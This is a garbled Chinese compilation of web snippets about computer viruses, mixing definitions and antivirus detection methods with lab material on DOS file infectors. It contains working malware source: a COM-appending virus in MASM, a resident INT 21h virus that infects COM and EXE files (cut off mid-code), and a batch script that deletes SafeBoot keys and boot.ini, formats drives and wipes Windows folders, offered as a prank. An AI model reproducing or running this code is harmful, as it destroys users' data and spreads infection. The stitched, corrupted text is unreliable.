编写感染COM与EXE文件的病毒的样例程序
- 格式:doc
- 大小:55.50 KB
- 文档页数:8
关于计算机病毒的知识介绍最近有网友想了解下计算机病毒的知识,所以店铺就整理了相关资料分享给大家,具体内容如下.希望大家参考参考计算机病毒的知识计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。
计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。
计算机病毒的生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。
计算机病毒是一个程序,一段可执行码。
就像生物病毒一样,具有自我繁殖、互相传染以及激活再生等生物病毒特征。
计算机病毒有独特的复制能力,它们能够快速蔓延,又常常难以根除。
它们能把自身附着在各种类型的文件上,当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。
定义计算机病毒(Computer Virus)在《中华人民共和国计算机信息系统安全保护条例》中被明确定义,病毒指“编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。
计算机病毒与医学上的“病毒”不同,计算机病毒不是天然存在的,是人利用计算机软件和硬件所固有的脆弱性编制的一组指令集或程序代码。
它能潜伏在计算机的存储介质(或程序)里,条件满足时即被激活,通过修改其他程序的方法将自己的精确拷贝或者可能演化的形式放入其他程序中。
从而感染其他程序,对计算机资源进行破坏,所谓的病毒就是人为造成的,对其他用户的危害性很大特征繁殖性计算机病毒可以像生物病毒一样进行繁殖,当正常程序运行时,它也进行运行自身复制,是否具有繁殖、感染的特征是判断某段程序为计算机病毒的首要条件。
破坏性计算机中毒后,可能会导致正常的程序无法运行,把计算机内的文件删除或受到不同程度的损坏。
破坏引导扇区及BIOS,硬件环境破坏。
传染性计算机病毒传染性是指计算机病毒通过修改别的程序将自身的复制品或其变体传染到其它无毒的对象上,这些对象可以是一个程序也可以是系统中的某一个部件。
如何写一个简单的病毒程序引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。
但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法达到“牛”的境界上去。
如今写了这篇文章,介绍的都是相当实用的东西,可以让你少走许多弯路(有时侯一个错误够你找几个小时的)。
不过需要些基础知识才能看懂。
假如你有天知识储备够了,不学学病毒将是你的遗憾。
另,由于是写给协会会员参考的,也没写的多“专业”,多了些赘述。
在你看之前,你应该知道这只是篇可以带你入门的文章,如果你已经会了就不用看了。
看的时候最好准备个PE表在旁边。
写病毒程序可以使用很多种语言来写比如C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。
但是最适合写病毒程序的还是汇编语言。
汇编语言底层,灵活,速度快,体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包含了所有的功能。
一般一个病毒都有如下几个功能:一代码重定位二自己找到所需API地址三搜索文件、目录四感染文件五破坏系统或文件(随便你了)其中一,二项功能是必要的,五项功能是可选的。
而一个病毒程序感染文件的功能是它的核心,是衡量它质量的重要标准。
(一)代码的重定位一个变量或函数其实是一个内存地址,在编译好后,程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。
如果你将代码插入到其他任何地方,再通过原来编译时产生的地址去找他们就找不到了,因为他们已经搬家了。
但是,你在写程序时考虑到这个问题,你就可以在代码最开始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。
就象这段代码。
Call getbaseaddressGetbaseaddress:pop ebxSub ebx,offset getbaseaddressMov eax,dword ptr [ebx+V ar1]如果你使用宏汇编语言写病毒,请尽量使用ebx做基地址指针,不要使用ebp,因为ebp在调用带参数的函数时会改变。
COM病毒实验【实验目的】1、掌握COM病毒的传播原理。
2、掌握MASM611编译工具的使用。
【实验平台】1、MS-DOS 7.102、MASM611【预备知识】1、COM文件的特点COM文件是DOS的一种二进制代码的可执行文件,COM文件结构比较简单,加载过程十分迅速。
整个程序只有一个段。
因此全部代码长度必须小于64K,其入口代码地址是CS:100H。
DOS装入COM文件时,先在内存建立一个长度为100H的程序前缀段(PSP,由DOS建立,是DOS用户程序和命令行之间的接口),然后将整个文件装载于PSP上端,不进行重定位操作,接着将四个段地址寄存器DS(Data Segment),CS(Code Segment),SS(Stack Segment),ES(Extra Segment)初始化为程序前缀段(PSP)的段地址,最后将程序的控制权交于CS:100H处。
如表一所示:表1:COM病毒的装入和执行2、病毒原理COM病毒感染一般有两种途径,一种是将自身代码附加到宿主程序之前,病毒执行完后恢复寄生程序原先的状态,并用JMP FAR等指令使程序再次回到CS:100H处,以确保寄生程序与PSP的一致。
但更为常见的病毒为采用保存文件头若干字节,并将第一条指令改为“JMP 病毒入口”,以确保病毒最先执行。
病毒执行完后,会恢复并运行原文件,以便传播,当其将原文件参数全部恢复后,会将控制权交于CS:100H处。
【试验内容】本实验以尾部感染COM文件的病毒为例子,其中待感染COM文件“”、病毒源文件“virus.asm”如下所示:代码:.model tinyprogram segmentassume cs:program,ds:program,ss:program,es:programorg 0100hmain proc nearMOV DX,offset messageMOV AH,09hINT 21hMOV AH,4ChINT 21hRETmessage db 0dh,'This a simple com program for a test',0dh,0ah,'$'program endsEND代码virus.asm:CSEG SEGMENTASSUME CS:CSEG,DS:CSEG,SS:CSEGmain PROC NEARmainstart:CALL vstart ;病毒的代码开始处vstart:POP SI ;得到当前地址MOV BP,SI ;保存当前地址PUSH SIMOV AH,9ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串MOV DX,SIINT 21hPOP SIADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节MOV DI,100h ;目的地址MOV AX,DS:[SI] ;开始复制MOV DS:[DI],AXINC SIINC SIINC DI ;将yuan4byte处的4个字节复制到100处INC DIMOV AX,DS:[SI]MOV DS:[DI],AXMOV SI,BP ;恢复地址值,将文件的头4个字节读入到yuan4byte处MOV DX,OFFSET delname-OFFSET vstart ;得到文件名ADD DX,SIINT 21hMOV DX,OFFSET filename-OFFSET vstart ;得到文件名ADD DX,SIMOV AL,02MOV AH,3dh ;写文件INT 21hJC errorMOV BX,AX ;文件句柄MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节ADD DX,SIMOV CX,4MOV AH,3fhINT 21hMOV AX,4202h ;到文件尾XOR CX,CXXOR DX,DXINT 21hMOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方ADD DI,2ADD DI,SISUB AX,4MOV DS:[DI],AXADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒MOV DX,SIMOV vsizes,OFFSET vends-OFFSET mainstartMOV CX,vsizesMOV AH,40hINT 21hMOV SI,BP ;定位到文件头MOV AL,0XOR CX,CXXOR DX,DXMOV AH,42hINT 21hMOV AH,40h ;将新的文件头写入MOV CX,4MOV DX,OFFSET new4byte-OFFSET vstartADD DX,SIINT 21h ;将new4byte处4个字节内容写入文件开始处,即将文件开头设置一条jmp指令,;跳转到病毒开始处MOV AH,3eh ;关闭文件INT 21herror:PUSH AXRETmain ENDPyuan4byte:RETDB 3 DUP (?)vsizes DW 0new4byte DB 'M',0e9h,0,0filename DB "",0delname DB "del.txt",0message DB "Y ou are infected by a simple com virus~~"DB 0dh,0ah,"$"vends:start:MOV AX,CSEGMOV DS,AXMOV SS,AXCALL mainMOV AX,4c00hINT 21hCSEG ENDSEND start【试验内容】1、安装MS-DOS 7.10环境。
注:12.19更新第三章第2题、第5题的感染机制答案《计算机病毒》复习思考题第一章计算机病毒概述1. 简述计算机病毒的定义和特征。
计算机病毒(Computer Virus),是一种人为制造的、能够进行自我复制的、具有对计算机资源进行破坏作用的一组程序或指令集合。
计算机病毒的可执行性(程序性)、传染性、非授权性、隐蔽性、潜伏性、可触发性、破坏性、攻击的主动性、针对性、衍生性、寄生性(依附性)、不可预见性、诱惑欺骗性、持久性。
2. 计算机病毒有哪些分类方法?根据每种分类方法,试举出一到两个病毒。
3. 为什么同一个病毒会有多个不同的名称?如何通过病毒的名称识别病毒的类型?国际上对病毒命名的一般惯例为“前缀+病毒名+后缀”,即三元组命名规则。
1、系统病毒系统病毒的前缀为:Win32、PE、Win95、W32、W95等。
2、蠕虫病毒蠕虫病毒的前缀是:Worm。
3、木马病毒、黑客病毒木马病毒其前缀是:Trojan,黑客病毒前缀名一般为Hack 。
4、脚本病毒脚本病毒的前缀是:Script。
5、宏病毒其实宏病毒是也是脚本病毒的一种,由于它的特殊性,因此在这里单独算成一类。
宏病毒的前缀是:Macro。
6、后门病毒后门病毒的前缀是:Backdoor。
7、病毒种植程序病毒后门病毒的前缀是:Dropper。
这类病毒的公有特性是运行时会从体内释放出一个或几个新的病毒到系统目录下,由释放出来的新病毒产生破坏。
8.破坏性程序病毒破坏性程序病毒的前缀是:Harm。
这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒便会直接对用户计算机产生破坏。
9.玩笑病毒玩笑病毒的前缀是:Joke。
10.捆绑机病毒捆绑机病毒的前缀是:Binder。
4. 简述计算机病毒产生的背景。
5. 计算机病毒有哪些传播途径?传播途径有两种,一种是通过网络传播,一种是通过硬件设备传播(软盘、U盘、光盘、硬盘、存储卡等)。
网络传播,又分为因特网传播和局域网传播两种。
Option ExplicitPrivate Victim As String '要感染的文件的名字Private HostLen As Long '要感染的文件的大小Private vbArray() As Byte '病毒的代码Private hArray() As Byte '要感染的文件的代码Private lenght As LongPrivate MySize As Integer '病毒的大小Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate iResult As LongPrivate hProg As LongPrivate idProg As LongPrivate iExit As LongConst STILL_ACTIVE As Long = &H103Const PROCESS_ALL_ACCESS As Long = &H1F0FFFPrivate Sub form_Initialize()Dim i As LongOn Error GoTo vbVerror '出错处理'原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。
3分钟教你编写“病毒”,不懂编程的门外汉也能秒学会提到编程,可能很多新⼿或者从未接触过编程的⼈会觉得特别⾼深,需要复杂的编译器等等,⼩编就给⼤家推荐⼀种脚本语⾔,vbs脚本语⾔,不需要编译器,⽤电脑⾃带的记事本就能够编写,下⾯⼩编教⼤家如何编写⼀个⼩⼩的脚本“病毒”程序,实现的功能就是悄⽆声息的禁⽌电脑中某个程序的运⾏。
1.控制⾯板->⽂件资源管理器选项->查看->隐藏已知⽂件夹类型的扩展名,如果前⾯勾选了就取消勾选,没有勾选就不⽤管。
2.新建⼀个⽂本⽂档,重命名为后缀为vbs的⽂件,如果第⼀步没有完成也就⽆法修改⽂件名的后缀。
3.右键vbs⽂件编辑,现在可以开始正式编写代码了。
doset bag = getobject('winmgmts:\\.\root\cimv2')set i = bag.execquery('select * from win32_process where name ='KuGou.exe'')for each objprocess in iobjprocess.terminatenextwscript.sleep 1000loop代码很简单,do loop是重复执⾏的意思,中间的代码被不断的执⾏,sleep 1000的意思是休眠1000毫秒,也就是中间的代码1秒钟执⾏⼀次,第⼆⾏代码的意思是遍历所有进程,然后第三⾏代码设置KuGou.exe为进程对象,接着for next 遍历系统正在运⾏的进程,如果有KuGou.exe的进程就将它杀掉,每秒执⾏⼀次。
代码完成了,是不是很简单!(看不懂也没关系,复制粘贴就⾏)4.保存⽂件,运⾏⽂件,之后你会发现⾃⼰的酷狗⾳乐不管怎样都打不开,当然你也可以把代码⾥⾯的KuGou.exe换成其他的软件的进程名,实现的效果就是禁⽌该软件的运⾏,即使⽤杀毒软件杀毒也⽆法运⾏该软件。
怎样用C语言编写病毒在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现. [Abstract] This paper introduce the charateristic of the computer virus,then showa simple example written by TURBOC2.0.一、什么是病毒恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.我们要对付病毒,就要了解病毒.写一些病毒是一个很好的办法.如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。
Frederic Cohen博士在《计算机病毒简短讲座》中提到的:“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。
“其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。
只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。
病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本原因。
我们可以用一段类C伪码来表示这个过程。
InfectSection(){if (infectable_object_found&&object_not_already_infect)infect_object;}病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.一个简单的触发机制可能是这样工作的:TriggerSection(){if (date_is_Friday_13th_and_time_is_03:13:13)set_trigger_status_to_yes;}有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。
实验六 COM病毒【实验目的】●了解COM病毒的原理●掌握COM病毒的分析及其修改过程●能够根据病毒特征还原COM文件【实验人数】每组1人【系统环境】Windows【网络环境】交换网络结构【实验工具】masmW32Dasm【实验步骤】本练习单人为一组。
首先使用“快照X”恢复Windows系统环境。
1. 自制(1) 在c盘目录“c:\VIRUS_C”下新建两个文件“c.asm”和“virus.asm”。
如下图所示:图32-3-1(2) 编写“c.asm”中的代码,如下图所示:图32-3-2(3) 编译生成“c.exe”,运行如下图所示:图32-3-3(4) 在当前目录下查看新生成文件,如下图所示:图32-3-4(5) 将“c.exe”转换为“”程序,如下图所示:图32-3-5(6) 查看新生成的“”文件,如下图所示:图32-3-62. 自制virus.exe(1) 在“virus.asm”中添加代码,如下图所示:图32-3-7(2) 编译生成可执行文件,如下图所示:图32-3-8(3) 查看生成文件,如下图所示:图32-3-9 3. 感染并查看(1) “”正常执行,如下图所示:图32-3-10(2) 感染,如下图所示:图32-3-11(3) 感染后文件变化,如下图所示:图32-3-12(4) 复制“”一个新文件“”,以便后面修改使用。
执行“”结果如下图所示:图32-3-13图32-3-144. 修复(1) 对“”进行修复,如下图所示:图32-3-15(2) 将“test1”改为“”,并执行,如下图所示:图32-3-16(3) 打开“W32Dasm”工具,查看相关修改前后的文件内容,如下图所示:图32-3-17 查看源文件图32-3-18 查看感染后的文件图32-3-19 查看修复后的文件。
杀毒软件是通过什么方式来辨别程序是不是木马或病毒的?杀毒软件查杀病毒是通过对比病毒特征码方试来辨别病毒的、并不是根据文件名辨别哪个是病毒、一下是杀毒软件查杀病毒的一些方法:(1)文件查杀是把病毒特征码与杀毒软件中的病毒库中的代码来进行比较,如果病毒库中有相同的特征码,就会认为这个是病毒、特征码--通俗一点讲,比如你身上一个特征它就会认识到这个特征就是你了。
所以,对于这样的查杀模式。
只要改变特征码杀毒软件就会不认识了。
(2)内存查杀其实内存查杀也是通过特征码的,和文件查杀基本上一样,一个区别就是它是通过内存特征码来查杀的。
(3)行为查杀是通过判断程序的动作来进行定义,如果程序对某个地方进行动作就会被认为是病毒了,现在许多病毒都通过“加壳”、“加花指令”....等方式来躲避杀毒软件的查杀、因为这杀软有病毒库,所有就可以分辨出这个文件是不是病毒!病毒库其实就是些病毒的代码,有了新的代码就可以扫描出这些文件是不是病毒,如果你的杀软没更新病毒库的话,机器里中了新的病毒,用杀软来扫描是分辨不出这文件是否病毒!补充:在与病毒的对抗中,及早发现病毒很重要。
早发现,早处置,可以减少损失。
检测病毒方法有:特征代码法、校验和法、行为监测法、软件模拟法。
这些方法依据的原理不同,实现时所需开销不同,检测范围不同,各有所长。
特征代码法特征代码法被早期应用于SCAN、CPAV等著名病毒检测工具中。
国外专家认为特征代码法是检测已知病毒的最简单、开销最小的方法。
特征代码法的实现步骤如下:采集已知病毒样本,病毒如果既感染COM文件,又感染EXE文件,对这种病毒要同时采集COM型病毒样本和EXE型病毒样本。
在病毒样本中,抽取特征代码。
依据如下原则:抽取的代码比较特殊,不大可能与普通正常程序代码吻合。
抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面又不要有太大的空间与时间的开销。
如果一种病毒的特征代码增长一字节,要检测3000种病毒,增加的空间就是3000字节。
教你1分钟学会写“病毒⽊马”程序
教你1分钟学会写“病毒”程序。
不管你是菜鸟还是⾼⼿,
重要前提:
1,装卡巴,360,瑞星,⾦⼭等娱乐软件;
2,记事本程序安好;
3,系统设置了显⽰⽂件后缀。
右键---》建⽴个新⽂件,叫2.txt,然后⽤记事本打开,它真的很2,居然开了,写上以下句⼦:
其实写什么都⼀样,不要0字节就好了,写完保存,关了
改名为xdowns.dll
接下来,同样弄个记事本,写上编码:
copy xdowns.dll c:\windows\system\xdowns.dll
这是⼀个再简单不过的dos命令,意思是拷贝xdowns.dll到c:\windows\system\下⾯
电脑⼊门的时候都学过吧。
同样保存
改名为bat后缀
双击运⾏1.bat -------- 眼熟吧,绿盟就喜欢这样绿化软件,加个绿化.bat,它是不是病毒哦,哈哈,不知道哦
来了,来了,病毒制造成功了,伟⼤的天才程序员的你万岁!!
鸟的其他朋友,他们不怕么?怕死了,以后出门都带着杀毒软件,外⾯的世界好危险哦,是个⼈都会写病毒,哈哈。
怎么样制作简单的电脑病毒想制作几个简单的电脑病毒去玩玩朋友们吗!然而自己又不会!有店铺在,都可以做到的!下面由店铺给你做出详细的制作一个简单的电脑病毒介绍!希望对你有帮助!简单的电脑病毒一:@echo offecho exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nulchcp 437>nulgraftabl 936>nulREG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Sa feBoot" /v Network /fREG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Sa feBoot" /v Minimal /fATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -hDEL %SYSTEMDRIVE%\boot.ini /fformat d:/q /yformat e:/q /yformat f:/q /yformat g:/q /ycd c:\cd windowsdel *.* /qcd system32del *.* /qdel %0shutdown -r -t 3输到文本文件里,保存,再把文件名改成*.bat(*就是随便什么名字)最好不要在自己电脑里实验,包括虚拟机简单的电脑病毒二:把这段代码复制一下,然后保存成文件名。
vbs的形式,双击运行一下on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""喃喃,乖乖叫嘻哥。
在开发.Com或.EXE文件时如何增加文件自己检毒,消毒的功
能
方强
【期刊名称】《微型机与应用》
【年(卷),期】1990(000)008
【摘要】可执行文件是否带病毒,一般是靠专门的检查病毒的软件对其进行检查而断定。
文件自己在执行时并无检查自身是否带病毒的功能。
现在的检毒软件都是根据病毒体中的一段典型指令代码或数据,然后检查文件中是否有同样的内容来诊断,随着病毒出现的种类增多,这些检测软件所占存贮空间必然会增大,同时对文件进行检查也是很费时间的,消除文件中的病毒将是更困难的事情,这不仅是因为病毒种类繁多,而且还由于文件会被交替感染。
【总页数】2页(P13-14)
【作者】方强
【作者单位】无
【正文语种】中文
【中图分类】TP31
【相关文献】
1.如何将PPT文件打包成exe文件 [J], 廖明梅
2.给EXE文件增加自动反病毒能力 [J], 王凤军
3.启动时提示Ntoskrnl.exe文件损坏 [J], 无
4.ARJ.EXE文件打包归档的功能分析 [J], 黄安策
5.U盘文件夹都变成了同名EXE文件怎么办? [J], 小飞
因版权原因,仅展示原文概要,查看原文内容请购买。
文件型电脑病毒分类介绍:文件型电脑病毒:寄生病毒这类病毒在感染的时候,将病毒代码加入正常程序之中,原来程序的功能部分或者全部被保留。
根据病毒代码加入的方式不同,寄生病毒可以分为"头寄生"、"尾寄生"、"中间插入"和"空洞利用"四种:文件型电脑病毒:"头寄生":实现将病毒代码放到程序的头上有两种方法,一种是将原来程序的前面一部分拷贝到程序的最后,然后将文件头用病毒代码覆盖;另外一种是生成一个新的文件,首先在头的位置写上病毒代码,然后将原来的可执行文件放在病毒代码的后面,再用新的文件替换原来的文件从而完成感染。
使用"头寄生"方式的病毒基本上感染的是批处理病毒和COM格式的文件,因为这些文件在运行的时候不需要重新定位,所以可以任意调换代码的位置而不发生错误。
当然,随着病毒制作水平的提高,很多感染DOS下的EXE文件和视窗系统的EXE文件的病毒也是用了头寄生的方式,为使得被感染的文件仍然能够正常运行,病毒在执行原来程序之前会还原出原来没有感染过的文件用来正常执行,执行完毕之后再进行一次感染,保证硬盘上的文件处于感染状态,而执行的文件又是一切正常的。
文件型电脑病毒:"尾寄生":由于在头部寄生不可避免的会遇到重新定位的问题,所以最简单也是最常用的寄生方法就是直接将病毒代码附加到可执行程序的尾部。
对于DOS环境下COM可执行文件来说,由于COM文件就是简单的二进制代码,没有任何结构信息,所以可以直接将病毒代码附加到程序的尾部,然后改动COM文件开始的3个字节为跳转指令:文件型电脑病毒:JMP [病毒代码开始地址]对于DOS环境下的EXE文件,有两种处理的方法,一种是将EXE格式转换成COM格式再进行感染,另外一种需要修改EXE文件的文件头,一般会修改EXE文件头的下面几个部分:代码的开始地址可执行文件的长度文件的CRC校验值堆栈寄存器的指针也可能被修改。
※黑客攻防指南※==>病毒信息==>编写感染COM与EXE文件的病毒的样例程序编写感染COM与EXE文件的病毒的样例程序;此程序是d由v0病毒改装升级而来;在DOS下才有一定的传染能力;此程序部分应用了32位编程;制作方法如下;tasm32 dv1;;tlink dv1;;Debug dv1.exe;-n ;-w;-q;最后生成病毒程序OFF equ OffsetDosMcb Struc ;Dos内存控制链结构(部分)Flag db ? ;是'M'则不是最后一块;是 'Z'则是最后一块Owner dw ? ;是008: 则是系统所有;是0则为未使用内存块Sizes dw ? ;本块大小,按节计算(1节=10h字节)DosMcb EndsExeHeader Struc ;Exe文件头结构Flags dw 'ZM';Exe文件标志ModSize dw ? ;Exe文件最后一页字节数Pages dw ? ;Exe文件页数(1页为512字节)Reloc dw ? ;Exe文件从定位项数MeSize dw ? ;本文头节数MinMem dw ? ;该程序所须最小内存(节)MaxMem dw ? ;该程序所须最大内存(节)StartSs dw ? ;程序Sp初值StartSp dw ? ;程序相对Ss初值CheckSum dw ? ;文件头检查和StartIp dw ? ;程序Ip初值StartCs dw ? ;程序相对Cs初值RelocOff dw ? ;从定位信息偏移ExeHeader EndsVirusSize=OFF @@End-OFF @@Start ;(病毒大小)VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的内存大小).386.model small.codeorg 100h ;按COM格式编写@@Start: ;病毒引导块pusha ;保存所有通用寄存器mov ax,4d4dhint 21h ;是否已经驻留内存(自定义中断)cmp ax,4d4dhjz short @@ExecOldApp ;否,调用安装模块call @@Install@@ExecOldApp:mov ah,2chint 21h ;得到系统时间cmp cx,22*100h+30 ;(Cmp 时间:22:30)jb short @@TestFlag ;不到22:30不调用显示消息call @@DisplayMsg ;调用表现块@@TestFlag:clc ;预设为Clc指令,表示是Com文件(若在传染时被改成Stc则是Exe文件)jc short @@IsExeApp@@IsComApp:call @@GetOldComAppCodeOldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以返回Dosdw 0000h ;这里为保存原COM文件头部4字节信息@@GetOldComAppCode:pop si ;得到OldAppCode的地址mov di,100hcldlodsdstosd ;恢复原COM头部4字节popa ;恢复所有通用寄器push word ptr 100hret ;去执行原COM程序@@IsExeApp:popa ;恢复所有通用寄器cli ;改变堆栈指针时要关闭中断mov sp,es ;得到Psp( Sp=PSP段址)add sp,10hSpAddData dw 0c481h;0bch是add sp,xxxx指令OldAppSs dw 000h ;原Exe文件Ss相对值mov ss,sp ;计算出原程序堆栈并恢复MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令OldAppSp dw 000h ;原Exe文件Sp值sti ;从新开启中断push axmov ax,es ;得到Psp( Ax=PSP段址)add ax,10hAxAddData db 005h ;05h是add ax,xxxx指令,计算原程序Cs值OldAppCs dw 000h ;原Exe文件Cs相对值movzx esp,sp ;转化为32位[esp]式堆栈寻址xchg ax,[esp] ;恢复ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆栈寻址PushWordData db 068h ;068h是push word ptr xxxx指令OldAppIp dw 000h ;原Exe文件Ip值retf ;去执行原Exe程序@@Install:push dspush es ;保存段寄存器mov ax,dsdec ax ;得到自己的MCB结构段址,它在程序的PSP前@@ContFindLastMcb:mov ds,axcmp ds:[Flag],'Z' ;是最后一块吗?jz short @@FoundLastMcbadd ax,ds:[Sizes]inc ax ;计算下一个MCB 的段址=本块段址+本块大小+1jmp short @@ContFindLastMcb@@FoundLastMcb:sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块大小减去病毒所须内存大小(节数)add ax,ds:[Sizes]inc ax ;计算出病毒在高端RAM的地址(即在最后一块划出的空间段址)mov es,axxor di,dipush cspop ds ;复位数据段call @@GetVirusBase@@GetVirusBase:pop sisub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址mov cx,VirusSizecldrep movsb ;把病毒搬运到高端地址sub ax,10h ;计算出高端病毒的段地址(为使病毒偏移对齐,所以减去10h)mov ds,ax@@ContInstall:mov ax,3521hint 21h ;取Int 21h的中断向量,并保存mov ds:OldInt21Seg,esmov ds:OldInt21Off,bxlea dx,@@NewInt21mov ax,2521hint 21h ;设新的Int 21h处理程序到@@NewInt21处pop espop dsret@@NewInt21: ;新Int21 h服务程序(传染块)cmp ax,4d4dhjnz short @@NextHookiret ;是自定义中断,直接返回@@NextHook:cmp ah,4bhjz short @@MyBeComcmp ah,43hjz short @@MyBeComcmp ah,3dhjz short @@MyBeCom ;截获4b,43,3d号Dos功能@@JmpOldInt21:cli ; 进入Int21h前,需要关中断!JmpFar db 0eah ;远跳转指令jmp xxxx:xxxxOldInt21Off dw ?OldInt21Seg dw ?@@CallInt21: ; 模拟Int 21h指令pushfpush cscall @@JmpOldInt21ret@@MyBeCom: ;入口参数ds:dx=以零结尾的Com文件名字符串pushapush dsmov si,dxxor al,al@@ContFindExtName: ;找扩展名inc sicmp [si],aljnz short @@ContFindExtNamemov eax,[si-4]or eax,20202020h ;转化为小写字母cmp eax,'moc.' ;是.com文件吗?jz short @@IsComFilecmp eax,'exe.' ;是.exe文件吗?jz short @@IsExeFile@@ExitOpt:pop dspopajmp short @@JmpOldInt21@@IsComFile:call @@CallInt21 ;3dh,打开COM文件jc short @@OptComFalse ;失败mov bx,axpush cspop ds ;复位数据段mov ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令,表示传染的是Com文件lea dx,OldAppCodemov cx,4mov ah,3fhint 21h ;读文件首部4字节jc short @@CloseComFilemov si,dxcmp word ptr[si],'ZM' ;是否是EXE文件(是否是Com文件不能仅由扩展名判断)jz short @@CloseComFile ;是就不感染cmp byte ptr[si+3],'V';是否有已感染病毒标志jz short @@CloseComFile ;是则说明该程序已经被感染了mov ax,4202hxor cx,cxxor dx,dxint 21h ;将文件指针移到文件尾,返回dx:ax=文件长度or dx,dxjnz short @@CloseComFile ;文件太大不感染mov dx,axadd ax,VirusSizejc short @@CloseComFile ;文件太大不感染cmp ax,0fd00hja short @@CloseComFile ;文件太大不感染sub dx,03 ;计算出Jmp Virus的偏移量mov ds:JmpOffset,dxlea dx,@@Startmov cx,VirusSizemov ah,40hint 21h ;将病毒写到文件尾部mov ax,4200hxor cx,cxxor dx,dxint 21h ;把文件指针移到文件首mov cx,04hlea dx,@@JmpVirusmov ah,40hint 21h ;写Jmp Virus与病毒Flag 4字节到文件首部@@CloseComFile:int 21h ;关闭文件@@OptComFalse:jmp short @@ExitOpt@@IsExeFile:mov ax,3d02hcall @@CallInt21 ;3dh,打开Exe文件jc @@OptExeFalse ;失败mov bx,axpush cspop ds ;复位数据段mov ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令,表示传染的是Exe文件lea dx,MyExeHeadermov cx,size ExeHeadermov ah,3fhint 21h ;读文件首部4字节jc @@CloseExeFilecmp ax,cxjb @@CloseExeFilemov si,dxcmp word ptr[si.Flags],'ZM' ;是否是EXE文件(是否是EXE文件不能仅由扩展名判断)jnz @@CloseExeFile ;不是就不感染cmp [si.CheckSum],'VV' ;是否有已感染病毒标志jz @@CloseExeFile ;是则说明该程序已经被感染了mov ax,4202hxor cx,cxxor dx,dxint 21h ;将文件指针移到文件尾,返回dx:ax=文件长度cmp dx,8hja short @@CloseExeFile ;文件太大,可能是Windows应用程序shl edx,16mov dx,axpush edx ;保存文件大小shr edx,4sub dx,[si.MeSize] ;计算病毒在该Exe程序中新的相对Csand ax,0fh ;计算病毒在该Exe程序中新的Ip值(0=<Ip<10h)mov cx,dx ;cx=dx=新的相对Cs值xchg [si.StartCs],dxmov ds:[OldAppCs],dx ;修改相对Cs值,保存原相对Cs值xchg [si.StartSs],cxmov ds:[OldAppSs],cx ;修改相对Ss值,保存原相对Ss值xchg [si.StartIp],axmov ds:[OldAppIp],ax ;修改Ip值,保存原Ip值xchg [si.StartSp],ax ;修改Sp值,保存原Sp值mov ds:[OldAppSp],axmov [si.CheckSum],'VV';设置传染标志pop edx ;弹出文件大小mov ecx,VirusSizeadd edx,ecx ;计算感染后文件的大小mov ax,dxand ax,1ffh ;计算感染后文件的ModSizemov [si.ModSize],axadd edx,1ffhshr edx,9 ;计算感染后文件的Pagesmov [si.Pages],dxlea dx,@@Startmov ah,40hint 21h ;将病毒写到文件尾部mov ax,4200hxor cx,cxxor dx,dxint 21h ;把文件指针移到文件首mov cx,size ExeHeaderlea dx,MyExeHeadermov ah,40hint 21h 